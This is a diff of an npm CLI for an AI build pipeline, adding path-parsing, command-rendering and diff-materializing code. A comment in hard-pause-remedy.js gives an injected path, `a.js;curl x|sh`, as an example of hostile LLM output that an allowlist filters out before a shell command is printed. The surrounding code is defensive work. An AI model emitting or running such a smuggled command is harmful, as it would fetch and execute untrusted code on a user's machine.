@hone-ai/cli 1.34.0 → 1.35.0

package/lib/hard-pause-remedy.js

@@ -0,0 +1,101 @@
+'use strict';
+/**
+ * hard-pause-remedy.js — HC-GF-263: render a paused run's parsed context request.
+ *
+ * The CLI prints the truncated `errorMessage` at a pause and nothing else, and on a HUMAN_GATE
+ * outcome it prints no reason at all (`⏳ Step … — awaiting approval`). The server now records
+ * what the step ASKED FOR in `workflow_step_results.failure_record.context_requests`, projected
+ * by the existing GET diagnostics allowlist. This turns it into one pasteable line.
+ *
+ * PURE: data in, strings out. No fs, no console, no process.
+ *
+ * TOLERANT OF AN OLDER SERVER BY CONSTRUCTION. A missing `diagnostics`, a null `failure_record`,
+ * a `context_requests` of the wrong shape and an empty `paths` all return null, which is today's
+ * output. That is what makes the deploy order free: server-first works because the CLI ignores
+ * the new key, CLI-first works because the key is simply absent.
+ */
+
+/**
+ * The request belonging to the step the run is PAUSED AT, or null.
+ *
+ * SCOPED TO `currentStep`, NOT "the newest step that has one". `failure_record` is durable, so
+ * once step_1 hard-pauses with a remedy that row keeps it for the life of the run. A reverse
+ * scan over every step then prints step_1's files at an unrelated step_4 gate — a command
+ * attributed to nothing, at a step that asked for nothing.
+ *
+ * That is HC-GF-047's lesson one layer up, and orchestrator.js quotes it verbatim: "a
+ * stale-but-plausible instruction is worse than none, because the builder acts on it". A
+ * printed re-queue command is exactly the kind an operator acts on without re-deriving it.
+ *
+ * Returning null for a gate with no request of its own is correct and is today's output.
+ *
+ * @param {object} status  a GET /orchestrate/:runId payload, straight off the network and
+ *                         therefore not trusted to have any particular shape
+ * @returns {{stepKey: string, paths: Array<object>, truncated: boolean}|null}
+ */
+function remedyFor(status) {
+  const s = (status && typeof status === 'object') ? status : {};
+  const steps = Array.isArray(s.steps) ? s.steps : [];
+  const step = steps.find((x) => x && typeof x === 'object' && x.stepKey === s.currentStep);
+  if (!step) return null;
+  const diag = step.diagnostics;
+  if (!diag || typeof diag !== 'object') return null;
+  const rec = diag.failure_record;
+  if (!rec || typeof rec !== 'object') return null;
+  const req = rec.context_requests;
+  if (!req || typeof req !== 'object' || Array.isArray(req)) return null;
+  const paths = Array.isArray(req.paths) ? req.paths.filter((p) => p && p.path) : [];
+  if (paths.length === 0) return null;
+  return { stepKey: step.stepKey, paths, truncated: req.truncated === true };
+}
+
+/**
+ * H5 — THIS MODULE IS THE TRUST BOUNDARY. Every token it prints came out of an LLM artifact, and
+ * the line it builds exists to be pasted into a shell. The agent's input is not trusted either:
+ * bundled adopter source and the story text (which can come from a GitHub issue) both reach it,
+ * so a "path" like `a.js;curl x|sh` or one carrying a terminal escape is a plausible artifact.
+ *
+ * DROP AND COUNT, never shell-quote. A token outside this set is far likelier to be a parse
+ * artifact than a real filename, and a silently quoted oddity is a command that runs and does
+ * nothing. A LEADING DASH is refused too: `--include-paths -rf` parses as an option, not a path.
+ * The parser upstream stays total — it records what the agent wrote; only printing is guarded.
+ */
+const SAFE_TOKEN = /^[\w./:@+-]+$/;
+const SAFE_STORY_ID = /^[\w.-]+$/;
+
+function tokenOf(p) {
+  return p.raw || (p.anchor ? `${p.path}:${p.anchor}` : p.path);
+}
+
+function isSafeToken(t) {
+  return typeof t === 'string' && t.length > 0 && SAFE_TOKEN.test(t) && !t.startsWith('-');
+}
+
+/** Split requested paths into the ones safe to print and the ones dropped, so a caller can say so. */
+function partitionSafePaths(paths) {
+  const list = Array.isArray(paths) ? paths.filter((p) => p && p.path) : [];
+  const safe = [];
+  const dropped = [];
+  for (const p of list) (isSafeToken(tokenOf(p)) ? safe : dropped).push(p);
+  return { safe, dropped };
+}
+
+/**
+ * One ready-to-paste command, built from the SAFE paths only.
+ *
+ * REPEATED FLAGS, not a comma list: `collectIncludePaths` accumulates every occurrence
+ * (HC-GF-202), and the repeated form is what the CLI's own warning already tells operators to
+ * use. `raw` is preferred over re-joining path+anchor so a `path:symbol` anchor survives exactly
+ * as the agent wrote it.
+ *
+ * A missing OR UNSAFE storyId renders the literal `<story-id>` — a command that visibly needs one
+ * edit beats one that looks correct and is not, or one that runs something else.
+ */
+function renderIncludePathsCommand(storyId, paths) {
+  const { safe } = partitionSafePaths(paths);
+  if (safe.length === 0) return '';
+  const id = storyId && SAFE_STORY_ID.test(String(storyId)) ? String(storyId) : '<story-id>';
+  return `hone run-story ${id} ${safe.map((p) => `--include-paths ${tokenOf(p)}`).join(' ')}`;
+}
+
+module.exports = { remedyFor, renderIncludePathsCommand, partitionSafePaths };

package/lib/include-paths.js

@@ -0,0 +1,155 @@
+'use strict';
+/**
+ * `--include-paths` is the operator's escape hatch when the bundler cannot see a
+ * file the story needs. HC-GF-202: it accepted only ONE form.
+ *
+ * The option is declared `<paths>`, single-valued and comma-separated, so
+ * commander keeps the LAST occurrence when the flag is repeated. The planner's
+ * own refusal printed `--include-paths Makefile --include-paths scripts/`, which
+ * therefore resolved to `"scripts/"` and silently dropped `Makefile` — an
+ * operator who followed the instruction exactly received a byte-identical bundle
+ * to having passed nothing at all. Measured twice, 7,621 chars each.
+ *
+ * Both forms are now accepted. The advice the planner prints is correct and is
+ * the cheapest escape hatch the bundler has; the flag honours it.
+ */
+
+/**
+ * commander collector: accumulate every occurrence instead of replacing.
+ * Declared as `.option('--include-paths <paths>', desc, collectIncludePaths, [])`.
+ */
+function collectIncludePaths(value, previous) {
+  return (Array.isArray(previous) ? previous : []).concat([value]);
+}
+
+/**
+ * Normalise whatever the flag produced into an ordered, de-duplicated path list.
+ * Accepts a bare string (comma form), an array (repeated flags), or a mix.
+ */
+function parseIncludePaths(raw) {
+  if (raw === undefined || raw === null) return [];
+  const parts = Array.isArray(raw) ? raw : [raw];
+  const out = [];
+  for (const part of parts) {
+    for (const piece of String(part).split(',')) {
+      const p = piece.trim();
+      // An empty entry would become a candidate path of '', which existsSync
+      // answers false for — a silent no-op indistinguishable from a typo.
+      if (!p) continue;
+      if (!out.includes(p)) out.push(p);
+    }
+  }
+  return out;
+}
+
+/**
+ * Split one `--include-paths` entry into the file and the region inside it.
+ *
+ * HC-GF-205: `planFileExcerpt` honours a `line`, and the bundler's own shortfall
+ * notice tells the operator to "name them as `path:<line>` to bundle one
+ * directly". But the flag added the RAW string as a candidate path, so
+ * `cli/hone-cli.js:8500` was looked up as a filename, `existsSync` said no, and
+ * the entry vanished with no message — the file then fell back to inferred
+ * anchors and bundled the same wrong regions. The remedy the tool printed was a
+ * form the tool did not accept.
+ *
+ * A SYMBOL is accepted as well as a line. The refusals name symbols ("the block
+ * that calls `provisionWorktree`"); an operator can copy one out of a refusal,
+ * but to use the numeric form they must open the file and count.
+ *
+ * Deliberately strict: only a positive integer is a line, and only a JS-style
+ * identifier is a symbol. Anything else stays part of the path, because
+ * reinterpreting a malformed entry is how a typo becomes a silent no-op.
+ */
+function parseIncludeTarget(entry) {
+  const raw = String(entry === undefined || entry === null ? '' : entry).trim();
+  const mLine = raw.match(/^(.+):(\d+)$/);
+  if (mLine && Number(mLine[2]) > 0) {
+    return { raw, path: mLine[1], line: Number(mLine[2]), symbol: null };
+  }
+  const mSym = raw.match(/^(.+):([A-Za-z_$][\w$]*)$/);
+  if (mSym) return { raw, path: mSym[1], line: null, symbol: mSym[2] };
+  return { raw, path: raw, line: null, symbol: null };
+}
+
+/**
+ * Split include-path entries into those whose FILE exists and those that resolve
+ * to nothing. HC-GF-205: an entry that resolves to no file used to be dropped in
+ * silence, which is indistinguishable from it having been bundled — six attempts
+ * were spent before anyone noticed the flag had done nothing.
+ */
+function partitionIncludeTargets(entries, exists) {
+  const resolved = [];
+  const missing = [];
+  for (const entry of parseIncludePaths(entries)) {
+    const target = parseIncludeTarget(entry);
+    (exists(target.path) ? resolved : missing).push(target);
+  }
+  return { resolved, missing };
+}
+
+/**
+ * Every line a file is EXPLICITLY anchored at, the operator's first — HC-GF-288.
+ *
+ * The bundler kept one line per file and filled it story-first, so an operator's
+ * `--include-paths f.js:N` for a file the story already cited as `f.js:M` was discarded
+ * with no message and M bundled again. Measured on run 31f78a92: five other anchors were
+ * honoured and `cli/hone-cli.js:6180` produced the same five regions as a run without it.
+ * An operator names a region because the bundle lacked it, usually on the pipeline's own
+ * advice (HC-GF-263 prints the command), so ignoring it repeats the refusal that prompted it.
+ *
+ * ALONGSIDE, NOT INSTEAD. The story's line stays, after the operator's: it is the region the
+ * agent already had and asked for MORE than, and dropping it trades one refusal for another.
+ * That is HC-GF-216's rule one layer up: a stated line seeds the spread, it never replaces it.
+ *
+ * A symbol resolves against the file's contents, so it can only be resolved here. One that
+ * does not resolve is returned in `unresolved`, never dropped in silence.
+ *
+ * @param {{path: string, content: string, operator?: Array<{raw: string, line: number|null, symbol: string|null}>, storyLine?: number|null}} input
+ * @returns {{anchors: Array<{line: number, raw: string, source: 'operator'|'story'}>, unresolved: Array<{raw: string, reason: string}>}}
+ */
+function statedAnchorsFor({ path: filePath, content, operator = [], storyLine = null } = {}) {
+  const { definitionIndexOf } = require('./bundle-paths');
+  const text = String(content || '');
+  const anchors = [];
+  const unresolved = [];
+  const add = (line, raw, source) => {
+    if (!anchors.some((a) => a.line === line)) anchors.push({ line, raw, source });
+  };
+  for (const t of Array.isArray(operator) ? operator : []) {
+    if (t.line) { add(Number(t.line), t.raw, 'operator'); continue; }
+    if (!t.symbol) continue;
+    const idx = definitionIndexOf(text, t.symbol);
+    if (idx === -1) { unresolved.push({ raw: t.raw, reason: 'symbol not found in the file' }); continue; }
+    add(text.slice(0, idx).split('\n').length, t.raw, 'operator');
+  }
+  if (storyLine) add(Number(storyLine), `${filePath}:${storyLine}`, 'story');
+  return { anchors, unresolved };
+}
+
+/**
+ * One warning per stated anchor the excerpt planner could not honour — HC-GF-288.
+ *
+ * Named by what the operator TYPED (`raw`), so a `path:symbol` entry is reported as the
+ * symbol they passed, not as a line number they never saw.
+ *
+ * @param {Array<{line: number, raw: string, source: string}>} anchors  from statedAnchorsFor
+ * @param {Array<{line: number, reason: string, totalLines: number}>} unhonoured  from planFileExcerpt
+ * @returns {string[]}
+ */
+function anchorWarnings(anchors, unhonoured) {
+  const out = [];
+  for (const u of Array.isArray(unhonoured) ? unhonoured : []) {
+    const a = (anchors || []).find((x) => x.line === u.line);
+    const who = a && a.source === 'story' ? `story reference '${a.raw}'` : `--include-paths '${a ? a.raw : u.line}'`;
+    out.push(u.reason === 'past-eof'
+      ? `  \u26a0 ${who} — the file has ${u.totalLines} lines; line ${u.line} does not exist, not anchored`
+      : `  \u26a0 ${who} — NOT bundled: this file's stated regions exceed its per-file cap; name fewer regions in it`);
+  }
+  return out;
+}
+
+module.exports = {
+  collectIncludePaths, parseIncludePaths, parseIncludeTarget, partitionIncludeTargets,
+  statedAnchorsFor, anchorWarnings,
+};

package/lib/learnings-parse.js

@@ -122,8 +122,13 @@ function parseLearningsFile(content, opts = {}) {
   // LC-001: validateCategory may throw on malformed enum value. Catch and
   // surface as parseError rather than crashing the whole file walk.
   try {
-    if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted), warning };
-    if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted), warning };
+    // HC-GF-208: `warning` is not handed on by the A and B paths because it cannot
+    // exist there. It is set only for a non-array object carrying BOTH arrays: A
+    // requires Array.isArray(parsed), which that test excludes, and had both arrays
+    // been present C would have won detection, so B never sees one either. Passing a
+    // field that is always undefined reads like a carried value and is not one.
+    if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted) };
+    if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted) };
     if (schema === SCHEMA_C) return { schema, eligible: parseSchemaC(parsed, includePromoted), warning };
     if (schema === SCHEMA_D) return { schema, eligible: parseSchemaD(parsed, includePromoted), warning };
   } catch (e) {
@@ -150,9 +155,21 @@ function parseSchemaA(items, includePromoted = false) {
       // LC-001: optional categorization fields (G2 partial). All optional;
       // default null. validateCategory throws on malformed enum.
       category: validateCategory(i.category),
+      // HC-GF-264: `targetOf` checks `target_skill` FIRST and calls it "the most specific statement
+      // of intent there is". None of these four maps carried it, so that branch never executed in
+      // this repo and routing fell through to `agent` — the field that records who NOTICED.
+      // Measured 2026-09-24: 203 of 775 items set it and 150 routed elsewhere. This is HC-GF-159a's
+      // defect recurring on the field that fix introduced: it added `target_skill` to
+      // `PROMOTED_FIELDS` and to `targetOf`, and not to the parsers that feed them.
+      target_skill: i.target_skill || null,
       referenced_skill: i.referenced_skill || null,
       referenced_section: i.referenced_section || null,
       evidence: Array.isArray(i.evidence) ? i.evidence : (i.evidence ? [i.evidence] : null),
+      // HC-GF-159a: the legacy list format routes like the others. No file in this repo uses it,
+      // which is why its handoffs went unasserted — but an adopter's older files still can.
+      type: i.type || null,
+      agent: i.agent || null,
+      proposed_fix: typeof i.proposed_fix === 'string' ? i.proposed_fix : null,
     }));
 }
 
@@ -181,6 +198,10 @@ function parseSchemaB(doc, includePromoted = false) {
       // `candidate_for` already serves the role of referenced_skill, so
       // we fall back to it when the explicit field is absent.
       category: validateCategory(c.category),
+      // HC-GF-264. Deliberately no `|| c.candidate_for` here: `candidate_for` says which skill the
+      // work applied, which is what `referenced_skill` below already borrows it for. Reusing it as a
+      // destination would invent an intent the author did not state.
+      target_skill: c.target_skill || null,
       referenced_skill: c.referenced_skill || c.candidate_for || null,
       referenced_section: c.referenced_section || null,
       evidence: Array.isArray(c.evidence) ? c.evidence : (c.evidence ? [c.evidence] : null),
@@ -211,9 +232,15 @@ function parseSchemaC(doc, includePromoted = false) {
       _schema: SCHEMA_C,
       // LC-001: optional categorization fields (G2 partial).
       category: validateCategory(l.category),
+      target_skill: l.target_skill || null,             // HC-GF-264
       referenced_skill: l.referenced_skill || null,
       referenced_section: l.referenced_section || null,
       evidence: Array.isArray(l.evidence) ? l.evidence : (l.evidence ? [l.evidence] : null),
+      // HC-GF-159a: the source YAML has carried these all along; dropping them here is why every
+      // promoted learning reached the server with `type: unknown` and no agent or fix text.
+      type: l.type || null,
+      agent: l.agent || null,
+      proposed_fix: typeof l.proposed_fix === 'string' ? l.proposed_fix : null,
     }));
 }
 
@@ -245,9 +272,15 @@ function parseSchemaD(doc, includePromoted = false) {
     enterprise_candidate: true,
     _schema: SCHEMA_D,
     category: validateCategory(doc.category),
+    target_skill: doc.target_skill || null,           // HC-GF-264
     referenced_skill: doc.referenced_skill || null,
     referenced_section: doc.referenced_section || null,
     evidence: Array.isArray(doc.evidence) ? doc.evidence : (doc.evidence ? [doc.evidence] : null),
+    // HC-GF-159a: 119 of the 418 eligible learnings are Schema D. A fix covering only Schema C
+    // leaves those routing to 'general'.
+    type: doc.type || null,
+    agent: doc.agent || null,
+    proposed_fix: typeof doc.proposed_fix === 'string' ? doc.proposed_fix : null,
   }];
 }
 
@@ -279,7 +312,11 @@ function escapeRegex(s) {
 function writeBackA(content, ids) {
   for (const id of ids) {
     const escaped = escapeRegex(id);
-    const idPattern = new RegExp(`(id:\\s*${escaped}[\\s\\S]*?status:\\s*)pending`, 'm');
+    // HC-GF-208: the gap below is lazy but was unbounded, so when the named item has
+    // no `status:` of its own it ran on to the NEXT item's and marked the WRONG
+    // learning promoted, leaving the named one pending forever. Stop at the next
+    // top-level `- id:` line, which is where this item's block ends.
+    const idPattern = new RegExp(`(id:\\s*${escaped}(?:(?!\\n- id:)[\\s\\S])*?status:\\s*)pending`, 'm');
     if (idPattern.test(content)) {
       content = content.replace(idPattern, '$1promoted');
     }
@@ -355,16 +392,24 @@ function rewriteWithStatusInsertion(content, matcher) {
     if (!r.matched) continue;
 
     // Look ahead through this item's block to detect existing status.
-    let hasStatus = false;
+    let statusIdx = -1;
     for (let j = i + 1; j < lines.length; j++) {
       const next = lines[j];
       // End of block: next sibling id line at the same-or-lesser list indent.
       if (/^ {2,}- id:/.test(next)) break;
       // End of block: a non-indented (top-level) line means we've left the array.
       if (/^\S/.test(next)) break;
-      if (/^ {4,}status:\s*\S/.test(next)) { hasStatus = true; break; }
+      if (/^ {4,}status:\s*\S/.test(next)) { statusIdx = j; break; }
     }
-    if (!hasStatus) out.push(`${r.indent}status: promoted`);
+    if (statusIdx === -1) { out.push(`${r.indent}status: promoted`); continue; }
+    // HC-GF-208: an existing status line used to end the matter, so a learning
+    // authored with `status: pending` could never be flipped — it stayed eligible
+    // and was re-promoted on every run, while the write still reported success
+    // because the content came back byte-identical. Rewrite pending in place.
+    // Any other state (promoted, retracted) is deliberate and left alone: a
+    // retracted learning must not be silently re-promoted.
+    const st = lines[statusIdx].match(/^(\s*status:\s*)pending\s*$/);
+    if (st) lines[statusIdx] = `${st[1]}promoted`;
   }
   return out.join('\n');
 }

package/lib/materialize-diff.js

@@ -22,33 +22,20 @@
 const path = require('node:path');
 
 /**
- * A ```file:<path> fenced block, capturing the path and the verbatim body.
- * Info-string tolerant: ```file:foo, ``` file: foo, ```FILE:foo all match.
+ * The block grammar — `file:` and `edit:` blocks, the OLD/NEW split, `DELETE:` lines — lives in
+ * block-grammar.js, a byte-identical copy of the server's, so the CLI that applies a build and the
+ * server that stores it read the same blocks (HC-GF-290). Its comments carry the history: HC-GF-022
+ * (an empty block), HC-GF-127 (a longer fence for a `file:`), HC-GF-109 (a framed edit body) and
+ * HC-GF-290 (a longer fence for an `edit:`).
  *
- * HC-GF-022: the closing fence is anchored to its OWN LINE (`^...$` under /m).
- * The previous form spelled the terminator `\r?\n``` `, which REQUIRED a newline
- * between the opener and the closer and so could not match an EMPTY block. On a
- * legitimately empty file (`flowforge/core/__init__.py` — every Python package
- * has one) the body then swallowed its own closing fence, matched the NEXT
- * block's opening fence as its terminator, and consumed it: the empty file was
- * written containing a literal ``` `, and the following file — 2,888 bytes of
- * pipeline logic — vanished from the diff entirely. `check-patch` reported
- * "applies cleanly", because the diff git built from the surviving blocks was
- * perfectly valid. Line-anchoring is also strictly better for a body that
- * contains an indented or info-tagged fence of its own.
+ * A `file:` block (HC-019n-followup-23) is a whole file. An `edit:` block (HC-019n-followup-27) is for
+ * a file too big to bundle whole (>25K chars, truncated/windowed): step_4 never saw the whole file,
+ * so it emits a unique OLD anchor from the excerpt it WAS shown and its NEW replacement, framed with
+ * conflict markers. The CLI applies OLD→NEW to the REAL full file on disk and lets git build the
+ * diff — so the count stays git's, exactly as for whole-file blocks. See
+ * .github/pipeline/HC-019n-followup-27/architect.md.
  */
-/**
- * HC-GF-127: the fence is 3 OR MORE backticks, and the closer must MATCH the opener (backreference).
- *
- * It used to be exactly three, so a block closed on the first ``` line inside it: a README carrying
- * a ```js sample ended AT the sample, the rest was lost, and `malformed` came back empty — the
- * artifact looked valid and materialized to the wrong bytes. Widening the opener alone would not
- * help; only a matching closer lets a wider fence carry content that contains a narrower one.
- *
- * 3-backtick blocks parse exactly as before: `\1` on a 3-backtick opener IS the old literal. Pinned
- * against 48 artifacts captured from real runs.
- */
-const FILE_BLOCK_RE = /^[ \t]*(`{3,})[ \t]*file[ \t]*:[ \t]*([^\n`]+?)[ \t]*\r?\n([\s\S]*?)^[ \t]*\1[ \t]*\r?$/gim;
+const { FILE_BLOCK_RE, EDIT_BLOCK_RE, EDIT_OPEN_RE, EDIT_SPLIT_RE, DELETE_RE } = require('./block-grammar');
 
 /**
  * The line-anchored closer necessarily absorbs the newline that terminates the
@@ -60,39 +47,6 @@ function blockBody(raw) {
   return String(raw == null ? '' : raw).replace(/\r?\n$/, '');
 }
 
-/**
- * A ```edit:<path> fenced block — HC-019n-followup-27. For a file too big to
- * bundle whole (>25K chars, truncated/windowed), step_4 cannot emit a whole-file
- * block (it never saw the whole file). Instead it emits a REGION edit: a unique
- * OLD anchor (from the excerpt it WAS shown) and its NEW replacement, framed with
- * conflict markers. The CLI applies OLD→NEW to the REAL full file on disk and
- * lets git build the diff — so the count stays git's, exactly as for whole-file
- * blocks. See .github/pipeline/HC-019n-followup-27/architect.md.
- */
-const EDIT_BLOCK_RE = new RegExp(
-  '^[ \\t]*```[ \\t]*edit[ \\t]*:[ \\t]*([^\\n`]+?)[ \\t]*\\r?\\n(' +
-    // HC-GF-109: a framed body ends at the fence after its `>>>>>>> NEW` line, so a NEW holding a fence line of its own
-    // (a docstring example, a Markdown file) is not cut short, and it never runs on into the next block.
-    '<{3,}[ \\t]*OLD[ \\t]*\\r?\\n(?:(?!^[ \\t]*```[ \\t]*(?:file|edit)[ \\t]*:)[\\s\\S])*?^>{3,}[ \\t]*NEW[ \\t]*\\r?\\n' +
-    // Anything else runs to the first fence line, and extractFileBlocks reports it as malformed.
-    '|(?:(?!^[ \\t]*```)[\\s\\S])*?' +
-  ')^[ \\t]*```[ \\t]*\\r?$',
-  'gim');
-
-/** HC-GF-109: the opening line of an edit block, whether or not the block parses — compared, so none is lost. */
-const EDIT_OPEN_RE = /^[ \t]*`{3,}[ \t]*edit[ \t]*:[ \t]*([^\n`]+?)[ \t]*\r?$/gim;
-
-/**
- * The OLD/NEW split inside an edit block. `<<<<<<< OLD` … `=======` … `>>>>>>> NEW`.
- * Whitespace after the marker word is tolerated; the bodies are captured verbatim
- * (indentation is part of the anchor). An empty NEW deletes the anchor (HC-GF-109) — it used to
- * fail this split, and the block was skipped without a word.
- */
-const EDIT_SPLIT_RE = /^<{3,}[ \t]*OLD[ \t]*\r?\n([\s\S]*?)\r?\n={3,}[ \t]*\r?\n(?:([\s\S]*?)\r?\n)?>{3,}[ \t]*NEW[ \t]*\r?$/m;
-
-/** A `DELETE: <path>` line inside the ## Changed Files section. */
-const DELETE_RE = /^[ \t]*DELETE:[ \t]*(\S.*?)[ \t]*$/gim;
-
 /**
  * Typed error for the region-edit apply path, so a consumer can map it to a
  * distinct exit code and a message that tells step_4 how to fix its anchor.
@@ -119,15 +73,15 @@ class MaterializeError extends Error {
  *   reason: string|null
  * }}
  */
-function extractFileBlocks(output) {
-  const text = String(output || '');
+/**
+ * HC-GF-191: the parser, over an ALREADY-SCOPED string. Split out so the same reading can be run
+ * twice — once over the mandated section, and once over the whole artifact when that section
+ * turned out to hold nothing. It used to compute its own scope, which made "what did the scope
+ * cost us?" a question no caller could ask.
+ */
+function parseBlocksIn(scope) {
   const empty = { files: [], edits: [], deletes: [], malformed: [], noChanges: false, reason: null };
 
-  // Scope everything to the ## Changed Files section if present, so a code
-  // sample elsewhere in the prose is never mistaken for an intended file.
-  const secIdx = text.search(/^##\s+Changed Files/im);
-  const scope = secIdx === -1 ? text : text.slice(secIdx);
-
   // Honest no-op, same shape as the followup-19 NO CHANGES escape. A NO CHANGES
   // declaration only counts when there is NO file AND NO edit block to apply.
   const hasBlock = (FILE_BLOCK_RE.test(scope) || EDIT_OPEN_RE.test(scope));
@@ -158,10 +112,10 @@ function extractFileBlocks(output) {
   const parsedAt = new Set();
   for (const m of scope.matchAll(EDIT_BLOCK_RE)) {
     parsedAt.add(m.index);
-    const rel = normalizeRepoPath(m[1]);
+    const rel = normalizeRepoPath(m[2]);  // HC-GF-290: m[1] is the fence now
     if (!rel) continue;
     if (seen.has(rel)) continue;   // a whole-file block wins
-    const split = EDIT_SPLIT_RE.exec(m[2]);
+    const split = EDIT_SPLIT_RE.exec(m[3]);
     if (!split) {                  // no OLD/NEW markers: reported, and buildDiff refuses the patch
       malformed.push({ path: rel, reason: 'no <<<<<<< OLD / ======= / >>>>>>> NEW markers' });
       continue;
@@ -224,6 +178,49 @@ function applyEdit(fileContents, oldString, newString, repoPath) {
   return src.slice(0, idx) + String(newString) + src.slice(idx + anchor.length);
 }
 
+/**
+ * HC-GF-265 — the two-index diagnosis. BYTE-IDENTICAL to the copy in
+ * server/src/services/carry-forward.js (the server cannot require the CLI package, so the
+ * wording is restated, not imported); parity is pinned by
+ * tests/regression/HC-GF-265-diagnosis-message-parity.test.js.
+ */
+function destroyedAnchorSuffix(j, k, total) {
+  return `Edit ${j} of ${total} rewrote this anchor: it matched before edit ${j} was applied and not after. `
+    + `Merge edits ${j} and ${k} into ONE edit whose OLD is the text as it stands before either change.`;
+}
+
+/**
+ * HC-GF-265 — which EARLIER edit destroyed edit k's anchor. Returns a 0-based index, or null.
+ *
+ * Runs only on the failure path, so an accept/reject outcome cannot change: nothing is
+ * pre-checked. Edit ORDER is load-bearing (HC-GF-109, run 1a8940af), so the earlier edits are
+ * REPLAYED over the original base rather than matched against it — which is why run 011f04c7,
+ * where two edits share an OLD first line and both apply, is never touched.
+ *
+ * null means "today's message": the anchor matched at no stage of the replay (the HC-GF-222 shape,
+ * explicitly out of scope), the anchor is empty, or no earlier edit stopped it matching. An anchor
+ * absent from the ORIGINAL file is still replayed: an earlier edit may have inserted it (HC-GF-109). Never fabricates
+ * a pair. The LAST >0→0 transition wins: if edit j destroys the anchor and a later edit
+ * re-inserts it, the culprit is the edit after the re-insertion, not j.
+ */
+function diagnoseDestroyedAnchor(baseContents, edits, k) {
+  const anchor = String((edits[k] && edits[k].oldString) || '');
+  if (!anchor || k < 1) return null;
+  let cur = String(baseContents);
+  let lastBreak = null;
+  for (let j = 0; j < k; j++) {
+    let next;
+    try {
+      next = applyEdit(cur, edits[j].oldString, edits[j].newString, '');
+    } catch {
+      return lastBreak;   // replay diverged — report only what is established, never a guess
+    }
+    if (countOccurrences(cur, anchor) > 0 && countOccurrences(next, anchor) === 0) lastBreak = j;
+    cur = next;
+  }
+  return lastBreak;
+}
+
 /**
  * HC-GF-109 — apply every region edit for ONE file, as one change.
  *
@@ -241,9 +238,21 @@ function applyEdit(fileContents, oldString, newString, repoPath) {
  * @throws {MaterializeError} code 'anchor_not_found' | 'anchor_ambiguous'
  */
 function applyEdits(fileContents, edits, repoPath) {
-  let out = String(fileContents);
+  const base = String(fileContents);
+  let out = base;
   edits.forEach((e, i) => {
-    out = applyEdit(out, e.oldString, e.newString, edits.length > 1 ? `${repoPath} (edit ${i + 1} of ${edits.length})` : repoPath);
+    const where = edits.length > 1 ? `${repoPath} (edit ${i + 1} of ${edits.length})` : repoPath;
+    try {
+      out = applyEdit(out, e.oldString, e.newString, where);
+    } catch (err) {
+      // HC-GF-265: only the not-found case is diagnosed. `anchor_ambiguous` already names the
+      // edit and is out of scope (HC-GF-109 pins its message), so it is rethrown untouched.
+      if (!(err instanceof MaterializeError) || err.code !== 'anchor_not_found') throw err;
+      const j = diagnoseDestroyedAnchor(base, edits, i);
+      if (j === null) throw err;
+      throw new MaterializeError('anchor_not_found',
+        `${err.message} ${destroyedAnchorSuffix(j + 1, i + 1, edits.length)}`);
+    }
   });
   return out;
 }
@@ -429,7 +438,6 @@ function ensureTrailingNewline(s) {
  */
 function nodeMaterializeIO({ cwd = process.cwd() } = {}) {
   const fs = require('node:fs');
-  const os = require('node:os');
   const p = require('node:path');
   const { execFileSync } = require('node:child_process');
   const { gitEnv } = require('./git-env');
@@ -441,9 +449,10 @@ function nodeMaterializeIO({ cwd = process.cwd() } = {}) {
       return fs.existsSync(abs) ? fs.readFileSync(abs, 'utf8') : null;
     },
     tmpFile: (contents) => {
-      const tp = p.join(os.tmpdir(), `hone-mat-${process.pid}-${Date.now()}-${n++}`);
-      fs.writeFileSync(tp, contents);
-      return { path: tp, cleanup: () => { try { fs.unlinkSync(tp); } catch { /* best-effort */ } } };
+      // HC-GF-304: its own directory, not a name in the shared one that another local user can predict and plant.
+      const t = require('./private-temp').privateTempFile('hone-mat', `candidate-${n++}`);
+      fs.writeFileSync(t.file, contents);
+      return { path: t.file, cleanup: t.remove };
     },
     runGitDiff: (origArg, candPath) => {
       let stdout = '', code = 0;
@@ -505,6 +514,51 @@ function hasMaterializableWork(blocks) {
     (blocks.deletes || []).length > 0 || (blocks.malformed || []).length > 0;
 }
 
+
+/**
+ * Read the file / edit / delete blocks an agent emitted.
+ *
+ * Scoped to `## Changed Files` when that heading exists, so a code sample elsewhere in the prose
+ * is never mistaken for an intended file — the guard is right and is kept.
+ *
+ * HC-GF-191: what the guard could not survive is the heading arriving AFTER the blocks. On run
+ * 44a0c69f the builder emitted a complete implementation under `## Implementation Code` and then a
+ * `## Changed Files` SUMMARY below it, so the slice began past every block: 0 files, 0 edits, and
+ * 0 malformed. verify-patch reported "produced no file changes to verify" for a finished build,
+ * with nothing anywhere saying a section had been skipped.
+ *
+ * The fallback is narrow on purpose. It fires ONLY when the scoped section yields nothing, so
+ * wherever the mandated section holds real blocks there is nothing to confuse them with and the
+ * scope still wins. And it is never silent: `scopeFallback` plus a reason name the deviation,
+ * because a guard that quietly changes what it read is precisely how this defect reached a run.
+ *
+ * @param {string} output raw agent artifact
+ * @returns {{files: Array, edits: Array, deletes: Array, malformed: Array, noChanges: boolean,
+ *            reason: string|null, scopeFallback?: boolean}}
+ */
+function extractFileBlocks(output) {
+  const text = String(output || '');
+  const secIdx = text.search(/^##\s+Changed Files/im);
+  if (secIdx === -1) return parseBlocksIn(text);
+
+  const scoped = parseBlocksIn(text.slice(secIdx));
+  if (hasMaterializableWork(scoped) || scoped.noChanges) return scoped;
+
+  // The mandated section held nothing. Before calling that "no changes", look at the whole
+  // artifact — the difference between "there is nothing to apply" and "what there is, is
+  // somewhere else" is the difference between an honest no-op and a lost build.
+  const whole = parseBlocksIn(text);
+  if (!hasMaterializableWork(whole)) return scoped;
+
+  return {
+    ...whole,
+    scopeFallback: true,
+    reason: 'blocks were found OUTSIDE the `## Changed Files` section and read from the whole '
+      + 'artifact instead. The code-builder contract puts them under that heading; emitting them '
+      + 'above it (or under another heading) would otherwise be read as "no changes".',
+  };
+}
+
 module.exports = {
   extractFileBlocks,
   normalizeRepoPath,
@@ -515,6 +569,10 @@ module.exports = {
   headMaterializeIO,
   applyEdit,
   applyEdits,
+  // HC-GF-265: exported so the resolved pair is asserted by BEHAVIOUR and so the wording can be
+  // compared against carry-forward.js's copy directly, not inferred from a message regex.
+  destroyedAnchorSuffix,
+  diagnoseDestroyedAnchor,
